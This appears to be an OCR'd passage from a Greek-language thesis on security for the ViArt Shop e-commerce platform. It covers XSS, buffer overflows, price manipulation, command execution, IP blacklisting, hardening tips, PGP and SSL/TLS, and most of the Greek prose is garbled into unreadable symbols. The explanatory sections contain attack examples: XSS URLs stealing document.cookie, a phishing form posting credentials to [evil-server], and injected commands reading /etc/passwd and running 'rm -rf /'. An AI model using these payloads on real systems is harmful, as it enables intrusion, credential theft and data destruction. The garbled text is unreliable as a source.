e Extéleon kaxOBovAmv aitioe®V VIO TO GLUPEPOV TOL YPNOTY,
e Eayopd TOL GLGTAUATOG TOL TEAATT,

e 'ExOeom tov mehdtn,
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Ov CSS embBéoeig eivor 00oKOAO vo gvtomotovv yloti 1 mePLocdTEPN OpAom
AapPaver pépog otov browser , Kol OgV LAAPYOLV YV OTO KEVIPIKO GCLOTNLOL.
YuvnBmg, povo M apykn eniBeon umopel va eLEOAVIGTEL GTA apyEi. TOV KEVIPIKOV

GLGTNLOTOG,.

Ov CSS embéoelc pmopovv va amopevybodv pe tn oyxedioon €QOPUOYDOV TOL
EMKVPMOVOLV KATAAANAa To elcoyOpeva dedopéva dapedyet ola ta e€epyoueva. Ot
ypNoteg O¢ Ba mpémel moté va Tovg emttpénetan va emPefordvoov HTML avénon oe
KkéOe epappoyn. AALG av givar avamogpevktn 1 emPePaimon, de Oa mpémel 0 ypNoTNG
va PBacileton o€ pio oAl OVTIKOTACTOOT TOV AEITOVPYIDOV KOl 0ELOTIOTES EVIVTOGCELG
Vo SIELKAAVVOLY TNV E16aYOYN TG TANpoPopiac. Ze avtifeon, n ypnomn KatdAinAng
HTML avéivong yio tnv Katdpynon tng El0ay®yng TS TANPoeopiog Kot ETELTo TV

e€aywyn amd avtnV eKTOG Amd T TUNUATO TOL BE®POVUE AGPAAT.

6.2.1 IInyég emOB&ocmv Cross-Site Scripting:

e “The Cross-Site Scripting FAQ” by Robert Auger
http://www.cgisecurity.com/articles/xss-faq.txt

e “Advisory CA-2000-02: Malicious HTML Tags Embedded in Client Web
Requests” by CERT Coordination Center
http://www.cert.org/advisories/CA-2000-02.html

e “Understanding Malicious Content Mitigation for Web developers” by
CERT Coordination Center
http://www.cert.org/tech_tips/malicious_code_mitigation.html

e “Cross-Site Scripting” by Kevin Spett (SPI Dynamics)
http://www.spidynamics.com/whitepapers/SPIcross-sitescripting.pdf

e “Cross-Site Tracing (XST)” by Jeremiah Grossman (WhiteHat Security)
http://www.cgisecurity.com/whitehat-mirror/WhitePaper _screen.pdf

e  “Second-order Code Injection Attacks” by Gunter Ollman (NGS)
http://www.nextgenss.com/papers/SecondOrderCodelnjection.pdf

e “Divide and Conquer, HTTP Response Splitting, Web Cache Poisoning
Attacks, and Related Topics” by Amit Klein (Sanctum)
http://www.sanctuminc.com/pdf/whitepaper_httpresponse.pdf
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6.2.2 Cross-Site Scripting oto ViArt.

http://securitytracker.com/alerts/2005/May/1013853.html

Ta 'basket.php', ‘'forum.php', 'page.php', 'reviews.php', 'products.php', and
'news_view.php' scripts 0ev ETKVPOVOLV KATAAANAQ TO ¥PNOTN LE TNV TAPEYOUEVT
gloaymyn yw vo agopésovv tov koo HTML. 'Evag amopoakpouopévog ypnotng
umopei va dnuiovpynoet éva €wdkd enelepyacpévo URL, mov 6tav goptdveTor omd
éva xpNot-o10y0, Ba avaykdoet Tov avBaipeto KOOKO Vo EKTEAESTEL A TN Unyovi
avalnong Tov ypNnot-otodxov. O KOdKas Bo TpoéABel amd TV TEPLOYN TOL TPEYEL
T0 AOYIGUIKO TOVL MAEKTPOVIKOD Kotaotiuatog ViArt ko Bo tpéfet 610 mhaiclo
acparelog eketvng g meproyns. Katd ocvvémeia, o kddkag Oa eivar o B€om va €xet
npodcPacn ota cookies Tov ypNHoTn-oTOXOL (cvumEpAapPavouéveov Tov cookie
EMIKVPMOTC) TOV GLVIEOVTOL KO EVOEYOUEVMG LE TNV TTEPLOYN VA EXEL TPOCPAOT GTA
ototyeia mov £xovv vrroPAndel Tpdopata amd To YPNOTN-0TOYXO, LECH TNG LOPONS TNG
16TOGEADOG otV TEPloyn, N Vo AAPeL eVEPYELES OTNV 1OTOCEAIDD EVEPYDVTOS MG
XPROTNG-0TOYOC.

Kamoieg emoeilerg mapéyovror ota URLs:

http://[target]/basket.php?rp=products.php%3Fcategory id% 3D0
[XSS-CODE]%26search_string%3Dss%?26search _category 1d%3D

http://[target]/basket.php?rp=products.php%3Fcategory 1d%3D0%26
search_string%3D[XSS-CODE]%?26search_strin g%3Dss%26
search_category 1d%3D%26search category 1d%3D

http://[target]/basket.php?rp=products.php%3Fcategory id
%3D0%26search_string%3Dss%26search_string%3Dss%26
s earch _category 1d[XSS-CODE]%?26search_category 1d%3D

http://[target]/basket.php?rp=products.php%3Fcategory 1d%3D0%26
search_string%3Dss%?26search_string%3Dss%26

search _category 1d%3D[XSS-CODE]%?26search_category 1d%3D
http://[target]/basket.php?rp=products.php%3Fcategory 1d%3D0%26
search_string%3Dss%26search_string%3Dss%26search_cat egory 1d%3D
%?26search_category 1d%3D[XSS-CODE]

http://[target]/page.php?page=about%22%3E
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%?3Cscript%3Ealert(document.cookie)%3C/script%3E

http://[target]/page.php? page=%3Cp%3Ean%20eror%20was
%20send%20t0%20webmaster,%20please%20insert%20your%20
username%20and%20password%20,%20and%20continue%20shopping
%20%3Cform%20action=%22http ://[evil-server]/save.php%229%20
method=%22post%22%3EUsername:%3Cinput%20aame=%22username
%22%20type=%22text%22%20maxlength=%2230%22%3E%3Cbr%3EPass
word:

%3Cinput%20name
=%22password%22%?20type=%22text%22%20maxlength=
%2230%22%3E%3Cbr%3E%3Cinput%20name=%

http://[target]/reviews.php?category id=0&item 1d=4[XSS-CODE]
http://[target]/r eviews.php?category 1d=0[XSS-CODE]&item id=4

http://[target]/reviews.php?filter=0&item id=4
[XSS-CODE]&category id=0

http://[target]/product details.php?item id=4
&category 1d=0[XSS-CODE]
http://[target]/products.php?category id=13[XSS-CODE]

http://[target]/products.php?category id=0&search_string=
[XSS-CODE]&search _category id=

http://[target]/news_view.php?news_id=3&rp=
news.php[XSS-CODE]&page=1

http://[target]/news_view.php?news_1d=3&rp=
news.php&page=1[XSS-CODE]

To 'forum _new_thread.php' pmopel va ypnowomomBet yu vo expetairevdet to

'forum.php' 610 pécov TOL GvopX YPNOTH, TO NAEKTPOVIKO TayLOpoueio, Ta Bépata,

KOl TIG TEPLOYES TOV UNVUUATOV.

6.3 Buffer Overflow

Mw Buffer Overflow enifeon mpaypatonoleitonr €160Y0VIOG GKOTIU®OG

nePLocOTEPN TANPOoPopio. o €va mpdypappa and 66o 10 1010 10 TPOYpoppe Oa

umopovoe va yeprotel. Or emBéoeig Buffer Overflow expetadliedovrar mv EAAeym
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opiov eAéyyovtag to péEyeBog TG TANPOPOPIaG TOL EIGAYETAL Kot amodnKeveTal HEGa
oto Buffer. H emnpdocOetn minpoeopia mov Ba vrepyeidioet ) pvrun de Ba yiver
amodekTy], kKot Oa aviikotaotadel amd GAAN TEPLoYN TNG UVAUNG Kot 010 peTald Oa
dratnpet kot Kamoteg odnyieg tov mpoypaupnatos. To amotéleoua eivat Geploko, To
omoio umopel TEMKA VoL GTAWOTAGEL TV EPOPLOYN 1 TO GUGTNLA TO OTO10 EKTEAEITAL.

O mpdopateg TANpoPopieg umopel vor OGOV vEEG 00MYieg, ot omoieg Ba divouvv
TOV €AEYYO TOL OTOYOL-VTOAOYIGTH OTOoV emTféuevo, eEAPTOUEVO Omd  TIG
TANPOQOpieg mov Exovv eloayDel.

Kdabe popd mov to suotnua gival ipwtd, yio mopadetypa, ov 0 EMTIOEUEVOS OTEIAEL
éva e-mail o éva yprot mov ypnowomotet Microsoft Outlook kot ké@vel ypron o
dtevbuvon mov €xel peyarvtepo péyebog amd 256 yapaxtipec, Oa eEavaykacel to
buffer va vrepyeidioel. T va givor emtvoyng avtdg o tomog ¢ emibeong, o
amodéktng o€ ypewaletar kav vo avoitel 1o e-mail. H emiBeon Ba elvar emruyng
apéomg LOALG To pnvopa &xet katePel amd To KEVIPIKO GVGTN L.

O emBéoeic Buffer Overflow ennpealovv yAwoaoeg Paciouéveg ot C. Ao 101€
TOV Ol TEPIGGOTEPES DIKTVOKEG EPAPUOYES TTEPLEYOLV scripts (N elivor ypappéves og
YAdooo java m omoio dgv emmpedletar otig embécelg Buffer Overflow), omdvia
emnpealovtar and T1g embéoelg Buffer Overflow.

AKOUO Kol TUTIKEG SIKTLVOKEG EQPOPUOYEG UTOPOVV VO TEPLEYOLV APKETA GTOTYELN

mov givon ypappéva og yAowooo C, OTmg:

e Web Servers, 0nmg o apache,

e Apache Modules,

o  Mnyavég epapupoynv, onog PHP,

e PHP Modules,

e CGI scripts ypappéva og yAwooa C,

o Efotepikd ocvotiuato, to omoio avagépoviol o Pdoelg dedopévav, mail

servers, directory servers, Kot GAAoL servers mov givat ypappévor og yadooo C.

6.3.1 IInyég emOBéoemv Buffer Overflow:

e “The Shellcoder’s Handbook: Discovering and Exploiting Security Holes by
Jack Koziol et al” (Wiley).
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e “Practical Code Auditing” by Lurene A. Grenier
http://www.daemonkitty.net/lurene/papers/Audit.pdf

e “Buffer Overflows Demystified” by Murat Balaban
http://www.enderunix.org/docs/eng/bof-eng.txt

e “Smashing The Stack For Fun And Profit” by Aleph One
http://www.insecure.org/stf/smashstack.txt

e “Advanced Doug Lea’s malloc exploits” by jp@corest.com
http://www.phrack.org/phrack/61/p61-0x06_Advanced malloc_exploits.txt

o “Taking Advantage of nonterminated adjacent memory spaces” by
twitch@yvicar.org http://www.phrack.org/phrack/56/p56-0x0e

6.4 Ilopamoinon Tip®@v (Hidden Manipulation)

H napomoinon tipndv coppaivel 6tav évog emtiBépevog petofdarerl ta medio g
@OpuaG To OTTola efvon KPLUUEVO GE KOTOGTILLOTO NAEKTPOVIKOV EUopiovn, dnwmg elval
ot TWéG Ko ot d1dpopot eopot. ExmAnktikd, avtodg o tomog emibeong amattel povo
évav anmAd HTML editor cov avtodg mov givor gupéwg dobEciol 6Tov moyKOGULo
1016. O gmTBépevog PeTafaiiel TNV TN €VOG OVTIKELLEVOL-0yafo0 1 GE [io oelpd
amd avTIKEIPEVA KO LETA EXEL TNV KAVOTNTO VO 0YOPAGEL OVTE TA OVTIKEILEVO GTNV

TN OV €xEl AAAGEEL.

6.5 Amopakpoopévn Extéleon Evroi®@v (Command Execution)

H eniBeon pe ) yprion amopoakpvouévng enibBeong evioddv Aappavel yodpa dtav o
EMTIOEUEVOG EMTVYYAVEL VO XEPIOTEL EMOEEIN TIG TOPOUUETPOVS TMV SCripts Kol va
ekteAéoel avBaipeTeg EVIOLEG 6TO GUGTN L. AVTA T TPOPANULATO ETEPYOVTAL OTOV TOL
scripts  eKTEAOVV €EMTEPIKEC EVIOAEG YPNOUYLOTOIDOVTOG TIC TOPOUETPOVS OO TIG
ECMTEPIKEG  TANPOQOPIEG YL VO OMUIOLPYNOOLY  YPOUUES  EVIOADV  OAAG
OTOTLYYAVOLV VO ATTOUOKPVVEL TO EGOUEVA E1GOO0V.

O1 emBéoelc e amopaKPLUGUEVT] EKTEAECT] EVIOAMV €lval GLYVO PALVOUEVO GTO.
npoypappate mov ypnoipomowovv Perl kot PHP. Avtd 1o mpoypappotiotikd
nmepBailovia evBopphHVOLY TOLG TPOYPOUUUOTIOTEG VO ETAVOYPNGLLOTON|COVY T
binaries TV AEITOVPYIKOV GUOTNUATOV.

[No mapaderypa, exteddvag évav anmid PHP kddwa:

125


http://www.daemonkitty.net/lurene/papers/Audit.pdf
http://www.enderunix.org/docs/eng/bof-eng.txt
http://www.insecure.org/stf/smashstack.txt
mailto:jp@corest.com
http://www.phrack.org/phrack/61/p61-0x06_Advanced_malloc_exploits.txt
mailto:twitch@vicar.org
http://www.phrack.org/phrack/56/p56-0x0e

$output = ‘Is —al /home/$username’;
Echo Soutput;
AVTOC 0 KOOIKOG OKOTEVEL VO, ppavicel (i Alota amd apyeio o Eva edrkelo. Av
70 GLUPOAO TG Gve TeAelng ypnoponoteitat 6TV 16000, Bo GNUELOGEL TO TEAOG OO
TNV TPOTN EVIOAN, Kot TNV apyn amd tn devtepn. H devtepn eviod) pmopel va glvan

omowadnmote B ovpe. H emikAnon:

http://www.example.com/view_user.php?username=pelatis;cat%?20/etc/passwd

0o eppavicet ta mepleydpeVa Tov apyeiov passwd 6to GOHGTNHA.

AoV o emnBéuevog copPifactel pe avtdv tov TPOTO pE TO0 cLOTNUA, B €xel
TOALEG EVKALPIEG Y10l VO LTOPEGEL VAL TO EKUETOAAEVTEL.

e  Mnopei va ekTEAECEL OTOLOONTOTE binary ToV GLGTHOTOC,

e Na Eekwvnoet 1o cvotnpa Kot vo gloaydel péca 6To KEVIPIKO GLGTNLLA
LLE T TPOVOUL TOV NAEKTPOVIKOD XPNGTN TOV GUGTHHOTOC.

e No kotefdost dAha binaries and dNUOGLOVG servers,

e No katefdoet kol vo HETAYA®TTIGEL YPNOUOTOUOVTOS EPYOAEinL
TNyoiov KOJKA.

¢ No amoktoet TpdSPacT 6TO KEVIPIKO GOGTNLLO.

H mo ocvvnBiopévn popen g emibBeong e OMOUAKPUGUEVT] EKTEAEST] EVIOAMV
elval oTEAVOVTOG UNMVOUOTO MAEKTPOVIKOD Toyvopoueiov e form-to-email scripts.
Avtd ta scripts eivor tomikd ypouuévo oe yAwooa Perl. Eivor ypoappéva yuo va
déxovton dedopévo amd pio POST {ftmom, vo Kotaokevdlovv To UVOHO TOV
niektpovikol Ttoyvdpopeiov Kot va to amootéAAovv. ‘Eva mapddsrypo kdduco

ypappévo o Perl Oa époale mg e€ng:

# send email to the user

Open(MAIL, “|/usr/lib/sendmail $email”);
Print MAIL “Thank you for contacting us.\n”;
Close MAIL;
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Avtoc 0 K®dOG ToTE Ogv eAEYyeEL av M mapdpetpog $email mepiéyel povo
dtevbuvon tov MAektpovikol Tayvdpopeiov. Amd 10te oLV M ala NG TOAPAUETPOV
ypnopomoleitoan angvbeiog otn ypauun evtoAwv, o emrtiféuevog Bo pmopovoe va
TEPUATICEL TNV MAEKTPOVIKY O1€0BVVOTN XPNGHOTOIDOVINS TO GUUBOAO NG GV

Tehelog, Kot vo EKTEAEGEL OTOLONTTOTE AAAT EVTIOAN GTO GUGTNLAL.

http://www.example.com/feedback.php?email=pelatis@webcreator.com;rm%20-

%20/

6.6 YevTikeg IPs (Black IPs) oto ViArt Shop

To nAextpovikd gumodplo givar Eva PéPog 6to omoio N amdrtn eivar moAv mbovi. [Na
avtd T0 AOY0 Ba TPEMEL VO TPOGTATEYOLE TOGO OGO TOV €0VTO HOG MG SLUYEIPIOTES
0G0 Kol TOVG MEAATEG TOL MAEKTPOVIKOL Hag Kotootnuatos. Me to ViArt Shop
umopovpe vo mapokoiovdnoovpe Tig IPs mov ypnoiponoodv ot mEAdTEG Yoo vV
KAVOLV Ta YAOVIO TOVG KOOGS Ko voo umAokdpovpe avtég mov Bewpovpe Ot givan
amdTn.

INo va gumodicovpe vav meddn vo e16EADEL GTO NAEKTPOVIKO LOG KATAGTNUA 1|
TOVAG(LOTOV VO UTOPOVE VO TOV EMTNPNGOVUE, B mpénel va mpocsBésovpe v 1P
Tov TTeAdTn avtov ot pavpn Alota (black list). Avtd pmopel vo emrevydel amd ™
oeMoa mov mepiEyel TG Aemtopuépeleg mapayyeAiag (Order Details page). Kdvovue
KMk 010 cvvoeospo “Add to Black List” kot 6Aeg ot evépyeteg yia T cvykekpuévn 1P
Bo pmiokapiotovv. Qotdc0, VIApYEL TEepinTwon vo un Bélovue va yivovue 1000
KOTNYOPNUOTIKOL, Kot vo BEAovpe amAd vo €lacTe GE EMQypOTVION Kol OTAMG VoL
TOPaKoAOVOOVE TOV TEAATY Ko TIG TTapayyeMeg Tov. Xg avtiv TV TepinTmor, Ha
npEneL va, To vtodeiEovpe avtd oto Tunua pe tig Black IPs.

AxoAovBolpe tn dadpoun:

Administration > System > Black IPs, kot gpoaviletotl 1o mopakdtm:
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nistration :: Edit IP ::.. - Windows Internet Explorer

J | &2 hitps:slexia-acer ViArt_shop)sdmin sdmin_black_in.ohp v‘ gj x| | e | pi-

Apxsio Erefzpyasia MpoPoly Ayampiva Epyahei  Boffiea

o SR : w
9w ar ‘_fg‘.::Admlnlshauun::Ed\lIP::.‘ | ‘ B - B - o - |2} hia » ) Epyorda -

% Sitetiome ¥F Administration Menu  Bookmarks
Products Orders CcMS Artides Helpdesk Forum Manual Ayyehieg Site Users System

Administration > Black IPs > Edit TP

[Feate—]
1P Address = [2roor
Action ® Red warning for administrators () Block al activities
ENpaIaE;,
} siteHome {8y Administration Menu Products & Cateqories Sales [ Orders Products Reviews Helpdesk

& Local intranet # 100% -

Eixova 94: Black IPs.

Ao €00 pmopoVLE Vo pLOLIGOVE TN CLUTEPIPOPE TOL GUGTILLOTOG.

Xpnowonowwvtoag to “Red Warning for Administrators” 10 cOotud pog 0o
enpaviCel OAeg Tic mapayyeiiec mov Exovv torobetn el and avtv v IP pe koxKivo
YPOU, KOOGS 6€ vtV TNV Tepintwon o meddtng o Oa mapatnprost ovte HBa Tov
enpaviotel tinrota. Evo, av ypnoomomoovpe v emiloyn “Block all Activities” to
ovotnuo pog Bo pumlokdper 6Aeg T dpactnpdtTeg amd o cvykekpiévn IP, e
ATOTEAEGLOL O TEAATNG VO NV €xEL TN dvuvatdtTa oVTe va. pmopet va eicaydet (log in)

OTO NAEKTPOVIKO LLOG KOTAGTILLAL.

6.7 Lvykekpripuéva tpopfinnata oto ViArt

Ymrapyovv apketég mBaveg kakdPovieg embEcelg oto dlapopeOUEVE. apyEio TOv
oLoTHHOTOG pag av To apyeio ‘install.php’ dev to daypdwyovue amd v €KOoomN HOG
a@ol Kdavovue TNV gykotdaotacn. [ va amo@uyovpe tuydv embéoelg, mpénel va
EKTEAEGOLLE TO TOPAKATO PriLoTo:

e No dwypayovpe to apyeio ‘install.php’ and to server pog (av dev 10

&yovpe dypdyel vopitepa).
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e No petovopdoovpe tov ‘admin’ @AakeAo pe Ovopo NG OKNG LOG
EMAOYNG Kol Vo evruepdcovpe ta bookmarks.

e No unv emiélooue ‘writable’ mpovopa yi OAOVG TOVS PAKEAOVG,
extdg amd To PAaKeAO ‘images’.

o No eAéyEovpe 10 Admin panel yio dyvooto php KddKa.

e No aArdEovpe ™V €16000 Kol TOV K®OKO Yo 0 Admin panel (péow
™ owdpopuns: Administration > System > Administrators > Change
password) kot vo ac@aAicovpe OTL O€ YPNCULOTOIOVUE TIG TPOETIAEYUEVES

TAnpoopieg, 6TmG: admin/admin.

1. [Ip6PAnpa ot Baon dedopévmv
"‘Exovpe evtomicel éva mpofAnuo ot Pdon dedopévev Otav dnpiovpyodue Eva
SAGTLTTO TPOTHV.
H Abon eivor va xatefdcovpe po wo kowvovplo £€K600T TV apyeiov and v
emionUn 16T0GEMON TOV NAEKTPOVIKOD LLOG KOTOGTILOTOG.
Metd Bo amocvumiécoope 10 apyeio ‘admin_product.php’ péoa oto @daxelo

‘admin’ TOV KOTOGTAWOTOG HOG OVTIKAOIGTMOVTOG 0uTO TOV LILAPYEL ON.

2. I1p6PAnua oto Google Checkout module
Yrdpyer éva bug to omoio dev vroroyilel Tovg POpovs ot ceida Checkout Tov
Google.
H Abon eivon va Katefdcovpe pa o kavovupilo £KO00T TV SCripts amd 0M:

http://www.viart.com/downloads/google checkout.zip

Metd o amocuumiEcovpe ta scripts HEca 6To PAKeAO /payments avTiKoOIoTOVTOG T

VILAPYOVTAL.

3. [IpéfAnue otOovV VITOAOYICUO TOV KOGTM®V UETAPOPAG OTn CeAida
TANPOUAG.
"Exovpe evromicel éva JavaScript Ad0og vToAoyIGHd TOV KOGTMOV HETAPOPAS OTN
oeMOa TANP®UNG TOV apopd to apyeio ‘ordering.js’.
H Mom eivar va katefdacovpe o mo Kowvovplo k3001 TV apyeiov amd v

emionun 10TOGEAID TOV NAEKTPOVIKOD Hog KOTOOTLOTOG.
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Metd Ba amoovumiécovpe to apyeio ‘ordering.js’ péco o610 ‘js’ EAKEAO TOV
NAEKTPOVIKOD OGS KOTOGTNHOTOG OVTIKAOIGTMOVTOS VTG TOV LITAPYEL 0.

To peyordtepo mpdPANUa oL TOPOLGLALEL TO NAEKTPOVIKO LOG KOTACTNUO GTO
omoio dgv &yel Ppebel axdpa Aon M o mo Kavovplo £kdoom, gival 0Tt ta £E0da
ATOCTOANG €lvar kpoppéva péxpt ) teMKY cerida mTAnpounc. ‘Etol, av Bdiovpe tov
eavtd pog ot Béom tov mehatov pog Ba emBuvpovoape va yvopiloope ta E0da
OTOGTOANG Yo Vo, amo@acicovpe Tt Oa TpaEovpe mPotoH KOTAANEOVUIE GTNV TEAIKN

oEMOO TANPOUDV.

Y& OAEG TIG TOPOTAVED TEPUTTAOGELS GLVETO givarl vo unv EEYACOVLLE VO KAVOVLUE Eval

avtiypago (backup) twv tpéyovia apyeiwv oe Tepintmon mov KaTL whel AdBoC.
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7. Teyvikéc mov YPNOLUOTOLOVVTOL YO, TNV OGPAAELN EVOG
NAEKTPOVIKOV KOTOGTLOTOGC.

Oco 10 mMiektpovikd eumodpro kepdilel oe dMuotkdTNTA, TOON TEPIGCOTEPN
TANpoopia TaEdevEL HLECH TOV SAOIKTOOV LE OTTOTEAEGLLO Ol EQAPLOYES OCPAAELNG
va kofiotavror omapaitntec. EEoutiog tov d10popeTikdv emmédwv ac@areiog mov
elvarl amopaitnmn o€ SPOPETIKEG TEPUITAOCELS KOL EMEWN 1 ACQAAEN amorTeiTon
TEPALTEP® TOV EMUTEOOV OKTOOV, Oo avagepBovpe ot ¥PHON TOV YNOKOV
vroypaeaVv (Tt givor Kot mwg ypnotpomotovvrat), oto PGP (Pretty Good Privacy kot
OGS YPNOUOTOIEITOL GE UNVOUATO MAEKTPOVIKOD Tayvopoueiov), ota SSL(Secure
Socket Layers) xou TLS (Transport Layer Security), xafd¢ kot ota yneuokd

TIGTOTOTIKAL.

7.1 Ynouwokéc vroypagéc (Digital Signatures)

O1 yneuoKeS VToYPaPES TEPEXOLV ATOSEIEN TG TAVTOTNTOG TOV SMULOVLPYOL TOL
QVTIKEWEVOL OV givol ynolakd vroyeypappévo. Ot ynelokeg vToypaees Uropovv
va  emPefardsovy TV TOLTOTNTO TOL ONUWOLPYOD €VOC AoyoHKOD, M TNV
avOevTIKOTNTA €VOC €YYPAPOL, €VOG MAEKTPOVIKOD MNVOUATOC 1 €VOG TOKETOL
royiopkov. Ot ynelokés vroypagés ovvinloc  EUTEPIEXOVIOL  GE  YNOLoKE
TIGTOTOMNTIKA Kol UTOpPOVUV  vo.  ypnotpomomBovv o £€yypoaeo eite  elvan
Kpurtoypapnuéva gite oxl. H mpaypatikn alio otic ynelokéc vroypagéc eival ot
avapeifoia avayveopilovy To dNuovpyod Tov £yypdeov Kot viomilovy av To £YYpapo
éxet petafanfel axdpo Kot 6to pikpodtepo Pabud HETAAAAENG amd TNV apyLKN TOL

HOPOT.
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Av 10 anotéleopa £xel Ty do a&io To nAeKTPOVIKO pnvopo
ULE TO AMECTUAUEVO, TOTE TO UHVOLLOL KPULRTOYpOpEiTan kot
£yet emkupwBel g £ykvpo. YNOOKE TIGTOTOLEITAL.

To kpuTTOYpPUPNUEVO KOt
YNPLOKA TIGTOTOMUEVO

unvouo Taédevet.

\ '\

Ewcova: wwg o1 yneiakxés vmoypapés umopodv va yyonbodv v oopoin
ToPaoocn EVOg UnVOUOTOoG.

7.2 Pretty Good Privacy (PGP)

To Pretty Good Privacy (PGP) eivan oyeddv n mo kabdepopévn acedielo mov
YPNOWOTOIEITOL G UNVOUATO NMAEKTPOVIKOL Tayvdpopeiov. Xpnoipomnoleitor amod
Wwteg N amd opyavicpovg, o Phillip R.Zimmermann napovsioce to PGP 10 1991
kol ond TOote kabiotaton o amd TG MO OOEOOUEVEC  YPNOULOTOIOVUEVES
KPUTTOYPaPIKeES pefddovg yoo pnvopato miektpovikol tayvopopeiov. To PGP
YPNOWOTOIEITOL YL VO KPLATOYPOAPNGEL,  OTOKPLTTOYPOPTGEL  UNVOUOTO
NAEKTPOVIKOD TAYLOPOUEIOD, YO VO KPLTTOYPOAPNGEL, OTOKPVTTOYPUPNCEL apyEia
OedOUEVOV IOV EIVOL TPOGOUPTNUEVO GTA UNVOLOTO NAEKTPOVIKOD TOYLOPOUEIOL, Kol
TNV OMOGTOA YNOLUKADV DITOYPAP®V TOV TIGTOTOLOVV TNV TAVTOHTNTA TOV ATOGTOALC.

To PGP vroompiler o1dpopovg aAryopiBpuovg ompociov  kAewwod 1y
KpLTTOYpaONoN:

e RSA (Rivest Shamir Adleman)
e Diffie-Hellman
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To RSA ypnowonotel tov alyopiBpo IDEA (International Data Encryption) o
omoiog pmopel vo dnpiovpynoel kAWl dveo towv 4096 bits. Eveo n ékdoon Diffie-
Hellman ypnoiponotel tov adyopiBuo CAST (Carlisle Adams and Stafford Tavares).

Otav t0 PGP jypnowomotgitor Yo TNV OTOGTOAN WYNOUIKAOV VTOYPUPDOV
xpnoonotel didpopeg exdodoelg hashes:
e SHA-1
e SHA-2
e MDS5
e RIPEMD-160

Windows Internet Explorer

@.\— > ‘@, https:ffalexia-acer,/ViArt_shop/admin/admin_global_settings. php "| % | (| X | ‘ P

Apyeio Enzfepyacia  MpoBohry  Ayannuéva Epyodgia  BorBaio

—— = ~ »
o o I@ Administration :: Global Settings ::.. l l ﬁ - B osh - [} FediBa ~ {Cf Epyakeia ~

ViArt Shop Ent=

System

t Site Home 3% Administration Menu  Bookmarks
Products Orders cMSs Articles Helpdesk Forum Manual Ayyehisg Site Users System

Administration > Global Settings

General || E-MAIL || Site Map

PGP Settings

GnuPG Binary path {Unix e.g. .fgpg, Windows e.g. C:\Program Files\GNU\GnuPG \gpg.exe)
GnuPG Download Link

PGP Home folder ‘
{Unix e.g. /home/$user/.gnupg, Windows e.g. C:\Documents and Settings\$user\Application Data\gnupg)

PGP Temporary folder ‘
(for plain and encrypted emails) {Unix e.g. /home/$user/gnupg_temp, Windows e.g. C:\gnupg_temp)

Create ASCII armored output m
instead of binary OpenPGP format
[ avavewon | [ Adhayn |
@ Site Home {§} Administration Menu Products & Categories Sales / Orders Products Reviews Helpdesk

% Local intranet H100% -

Eiwcova 97: pvOuiceig tov PGP oto nAektpoviko 1og koteotnua.

7.3 Secure Socket Layer (SSL)

To SSL eivon viomoinon acedieiag tg Netscape Communications Corporations
Y. acQOAn TPOGPROCT TV TANPOEOPLOV HECH TOV QUAAOUETPNTAOV TOV KOOV

oniadn browsers. To SSL eivor éva vBpdkd mpwtdkoiro. Xpnowomotel o
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TANOOPO AmO KPLATOYPOPIKES TEYVIKEG (MOTE VO KATOOTNOEL TNV EMKOWVOVIL
acparéotepn. Kabe chvoeon SSL mepiéyet couninpopatikd 600 pacels:
e Handshake phase,

Koatd ) ddpketa vt g AonS 0 KeVIpKOg VTOAOYIOTIG CTEAVEL GTOV TEANTN
TOVL TO TOTOTOMTIKO TO 0moio mEPIAOUPAVEL KOl TO dNUOCIO KAEWT KOl O TEAATNG
TIGTOTOLEL TNV TALTOTNTO TOL OPYIKOD YPNOLUOTOIDOVIAG TNV KPLRTOYPAPNOoN
ONUociov KAEW0D. L& OPIGUEVEG TEPITTMOGELS, O KEVIPIKOG VITOAOYIGTIG OALTEL OO
TOV TEAATI TOL VO KOTEYEL VO TIGTOTOMTIKO KOl £TC1 VO TPOYUOTOTTOLEITAL KO M
moTomoinon tov mEANT. A@oD M moTomoinon Kot Twv 000 €xel vAomom et
CUUPOVOVV GE U0, KOV TOTOOETNON TOV TPMOTOKOAA®Y KPLTTOYPAPNONG Kol GTN
ONUIoVPYia IOOTIKOV HUGTIKOV KAEOIDV.

e Data-exchange phase,

Me ) ¥pron HOUGTIKOV KAEWIDV T 0OTtoia vt YvmoTd Kot omd Tig V0 TAELPES, 1

EMKOVOVID YIVETAL YPNGILOTOIDVTAG TPMOTOKOAAN GUUUETPIKTG KPUTTTOYpOPiog HEXPL

K0l 01 000 TAELPEG VO GLLLPOVIIGOVY VO, TEPUATIGOVY TO KOVAAL ETKOIVOVING.

Eivar 1o SSL aceain; H andvinon etvar kot vor kot 6xt. Ao TeXVIKNG TAEVPAS, M
ac@oAn petaPifoacn pmopet va emtevyBel vd TOV OPO OTL 01 KATAAANAOL aAyOp1OLL0l

KPLTTOYpapiog ypnoLonroovvTot Holl pe emapkmg LeYIA®mV pHeyeddv KAEWOLDV.

7.4 OpenSSL:

Eivor  poe viomoinom avoyytov kmowka (toolkit) moAA®V KpLATOYPAPIKMOV
TPOTOKOAA®V. XyedOV OL0 Ol EQUPLOYEG OVOLXTOD KMOKO KO TOAAL O10LPTLULCTIKA
nmokéto Pacilovtor 6e avTd Yo TIC KPUTTOYPAPIKES TOVG avaykec. To OpenSSL eivan
vd v ade Tov BSD-like to omolo emitpémel v EUMOPIKY) EKUETAAAELGT TOL

VoL TOV KMOWKO.

http://www.openssl.org

7.5 Transport Layer Security (TLS)

To Transport Layer Security €yet vmokatactioer to SSL kot eivor po mo
TPOGPATY £KO00T HE EAAYIOTES OPMG dtapopég amd tov Tponyndny. Onwg kot To SSL

e€ao@ailel avBevTIKOTNTA AVANESO GTO GVCTNIO KOl TOVG TEAATEG OOV amotTeiton
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HLGTIKOTNTO KOt AGQAAELD KOTA TN StdpKeLd TG emkovaviag Tovs. To chotTnua Kot
ot meldteg mov ypnoporoovv SSL givon kavoi vo avBevtikomom)covv 0 €vog tov
GAAOV KOL VO KPLTTOYPAPTICOVV/ATOKPLTTOYPAPTIGOLY TO. dEdOUEVE TOV AQUPAvovV
xopa petad tovc. To TLS ypnowonoteiton cuyva oe katactdoels 0mov gvaicOnta
ded0UEVO OTEAVOVTOL PETOED TOV GLGTHHOTOS Kol TV TeAat®v. Eva cuvnbiouévo
TOPAOEY IO EIVOL O NAEKTPOVIKT] OyOpd LE YPT|OT TMOTOTIKNG KAPTOG Kol GAA®V
TPOCAOTIKAOV TANPOPOpI®V (OT®¢ Ovopa, doevbuvon kot GAAEG TANPOPOPIES

OTOGTOANG) TO OO0l GTEAVOVTOL GE VO KATAGTN L0 NAEKTPOVIKOL EUTOPIOL.

